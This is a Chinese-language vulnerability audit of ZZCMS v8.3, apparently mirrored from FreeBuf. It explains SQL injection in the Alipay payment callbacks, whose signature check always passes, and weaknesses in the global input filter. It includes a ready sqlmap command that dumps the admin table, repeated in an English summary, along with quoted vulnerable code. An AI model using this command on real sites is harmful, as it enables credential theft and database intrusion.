60

ZZCMS v8.3最新版SQL注入漏洞

 5 years ago
source link: http://www.freebuf.com/vuls/179028.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:DYBOY,本文属FreeBuf原创奖励计划,未经许可禁止转载 

偶然发现有大佬审计了这款CMS的8.2版本,并且发现了SQL注入漏洞,到官网看了一下,官网已经更新了8.3版本,发现源码不大,于是想要重新审计一下,看看是否能够寻找到新的漏洞,顺便学习此CMS的架构的思想。

0×01 简介

VzeAfqr.jpg!web

zzcms,站长招商网cms,适用于招商代理型的行业网站,可用于医药招商网站程序源码,服装招商网站程序源码,化妆品招商网站的程序源码等

官网地址: http://www.zzcms.net/

这次就直接按照思路来审计,记录一下过程…

***************安装步骤***************第一步:上传程序到服务器网站目录第二步:运行install目录进行安装(在地址栏输入http://你的域名/install)*****************安装平台要求*****************1.Windows 平台:IIS/Apache/Nginx + PHP4/PHP5.2/PHP5.3/PHP7 + MySQL4/52.Linux/Unix 平台Apache + PHP4/PHP5/PHP7 + MySQL4/5 (PHP必须在非安全模式下运行)3.PHP必须环境或启用的系统函数:allow_url_fopen
GD扩展库MySQL扩展库mysqli扩展库

0×02 寻找敏感信息泄漏/重装漏洞

重装漏洞不存在,与install/install.lock 文件关联,安装的时候,还得先把这个文件删除,因为默认存在~

1.默认后台管理登录地址:./admin/login.php

2.安装完成后没有删除./install/data.sql文件导致数据库结构信息泄漏

0×03 寻找SQL注入与XSS

在./3/alipay/notify_url.php和./3/alipay/return_url.php,这两个回调验证支付文件中,有写数据库的操作,同时对于写入数据库的参数没有过滤,有XSS和SQL注入的风险

两者差不多,因此选择./3/alipay/return_url.php 为例子吧

<?php//计算得出通知验证结果//第24行左右开始$alipayNotify = new AlipayNotify($alipay_config);$verify_result = $alipayNotify->verifyReturn();if($verify_result) {//验证成功
    ···//此处代码省略}?>

看到上面的代码,有一个AlipayNotify()的对象实例化,这个初始化只要配置数据有就能成功初始化,然后我们进入verifyRetuen()函数看看。

// 在./3/alipay/lib/alipay_notify.class.php 第77行左右
    function verifyReturn(){
        if(empty($_GET)) {//判断POST来的数组是否为空
            return false;
        }
        else {
            //生成签名结果
            $isSign = $this->getSignVeryfy($_GET, $_GET["sign"]);
            //获取支付宝远程服务器ATN结果(验证是否是支付宝发来的消息)
            $responseTxt = 'true';
            if (! empty($_GET["notify_id"])) {$responseTxt = $this->getResponse($_GET["notify_id"]);}
            //写日志记录
            //if ($isSign) {
            //    $isSignStr = 'true';
            //}
            //else {
            //    $isSignStr = 'false';
            //}
            //$log_text = "responseTxt=".$responseTxt."\n return_url_log:isSign=".$isSignStr.",";
            //$log_text = $log_text.createLinkString($_GET);
            //logResult($log_text);
            //验证
            //$responsetTxt的结果不是true,与服务器设置问题、合作身份者ID、notify_id一分钟失效有关
            //isSign的结果不是true,与安全校验码、请求时的参数格式(如:带自定义参数等)、编码格式有关
            if (preg_match("/true$/i",$responseTxt) && $isSign) {
                return true;
            } else {
                return true;
            }

所以只需要传入需要的GET参数就会返回true,emmm~

测试结果如下:

zMZbmaF.jpg!web

发现做了转义:

Z3umiir.jpg!web

但并没有找到转义的函数,应该是 magic_quotes_gpc 配置的原因吧

BBv6Z3J.jpg!web

同时可以在\3\alipay\lib\alipay_core.function.php看到这样的函数

function createLinkstring($para) {
    $arg  = "";
    while (list ($key, $val) = each ($para)) {
        $arg.=$key."=".$val."&";
    }
    //去掉最后一个&字符
    $arg = substr($arg,0,count($arg)-2);
    //如果存在转义字符,那么去掉转义
    if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
    return $arg;}/**
 * 把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串,并对字符串做urlencode编码
 * @param $para 需要拼接的数组
 * return 拼接完成以后的字符串
 */function createLinkstringUrlencode($para) {
    $arg  = "";
    while (list ($key, $val) = each ($para)) {
        $arg.=$key."=".urlencode($val)."&";
    }
    //去掉最后一个&字符
    $arg = substr($arg,0,count($arg)-2);
    //如果存在转义字符,那么去掉转义
    if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
    return $arg;}

所以将 php.ini 中的 magic_quotes_gpc 设置为 On 就可以去掉转义符号了,再次测试结果如下:

I3ABVnI.jpg!web

fYvueay.jpg!web

因为默认是不会显示错误的,这里就没有回显,可以写文件,当然得有写的权限才行,也可以盲注

懒得写脚本,SQLmap输入如下命令就可以直接得到管理员账号密码:

python sqlmap/sqlmap.py -u "http://www.test.com/3/alipay/return_url.php?out_trade_no=test™_no=test™_status=test&total_fee=123" -p trade_no --batch -D safe -T zzcms_admin --dump

SQLMAP还帮忙破解出了密码的明文(SQLMAP牛逼):

qeAVvi.jpg!web

同理在./3/文件夹下有不同的支付类型,其NotifyUrl和ReturnUrl类似的文件都存在这样的SQL注入问题,这个SQL注入的利用唯一条件就是

magic_qutes_gpc值为On

0×04 回溯过滤函数

已经验证了SQL注入的存在,那么检验一下是否能够绕过呐?

定位到\inc\stopsqlin.php 这个全局参数过滤文件,为了便于理解,有必要贴出该文件源码如下:

<?php//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数   //这里用于过滤script标签,但是我们可以使用别的XSS Payloadif (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){die ("无效参数");//注意这里不能用js提示}function zc_check($string){
    if(!is_array($string)){                //这里是问题关键所在,如果传入的参数不是数组,那么进入if判断内
        if(get_magic_quotes_gpc()){                        //此处开启GPC后就不转义
         return htmlspecialchars(trim($string));            //对于SQL注入来说,没用~
        }else{
        return addslashes(htmlspecialchars(trim($string)));//否则addslashes转义一下
        }
     }
    foreach($string as $k => $v) $string[$k] = zc_check($v);
    return $string;}if($_REQUEST){
    $_POST =zc_check($_POST);
    $_GET =zc_check($_GET);
    $_COOKIE =zc_check($_COOKIE);
    @extract($_POST);
    @extract($_GET);}//特别的表单,需要特别提示的function nostr($str){//strip_tags($str);
    $sql_injdata = "',/,\,<,>,�";
    $sql_inj = explode(",",$sql_injdata);
    for ($i=0; $i< count($sql_inj);$i++){
        if (@strpos($str,$sql_inj[$i])!==false){ 
        showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
        }
    }
    return $str;//没有的返回值}//过滤指定字符,function stopsqlin($str){if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
    $str=strtolower($str);//否则过过滤不全
    $sql_injdata = "";
    $sql_injdata= $sql_injdata."|".stopwords;
    $sql_injdata=CutFenGeXian($sql_injdata,"|");
    $sql_inj = explode("|",$sql_injdata);
    for ($i=0; $i< count($sql_inj);$i++){
        if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
    }}}$r_url=strtolower($_SERVER["REQUEST_URI"]);if (checksqlin=="Yes") {if (strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0) {foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);} /* 过滤所有GET过来的变量 */      foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var);    }/* 过滤所有POST过来的变量 *///foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var);    }/* 过滤所有COOKIE过来的变量 *///foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var);    }/* 过滤所有request过来的变量 */}}?>

对应上面源码的第六行的 zc_check() 函数,已经写了注释,虽然做了htmlspecialchars()(转义XSS字符) 和 trim() (去掉参数两边空格)

ZRRzYnn.jpg!web

在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string) 的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号(“), 不对单引号(‘)做转义。

在如图所指的几个文件夹应该都存在SQL注入,博主没有细看,管他的,拉一个程序员祭天吧!

fm2QRj6.jpg!web

0×05 总结

审计代码,要配合好环境,不同的环境就有不同的结果!

0X06 LEARN MORE INFORMATION

If you have difficulty to understand the meaning of Chinese, please read the followed:

The vulnerability is a sql injection, as you can see easily, we can use an application which named sqlmap, input the commond:python sqlmap/sqlmap.py -u "http://www.test.com/3/alipay/return_url.php?out_trade_no=test™_no=test™_status=test&total_fee=123" -p trade_no --batch -D safe -T zzcms_admin --dumpThen we can easily get the administrator's information about username and password etc.
But there is a little limitation, you must make sure the value of magic_qutes_gpc is on, this is important!
At the same time, in the folder '3', there are more similarily bugs, it is too much, I don't want to write any more, we could use the same method.

success result:

RfamumR.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK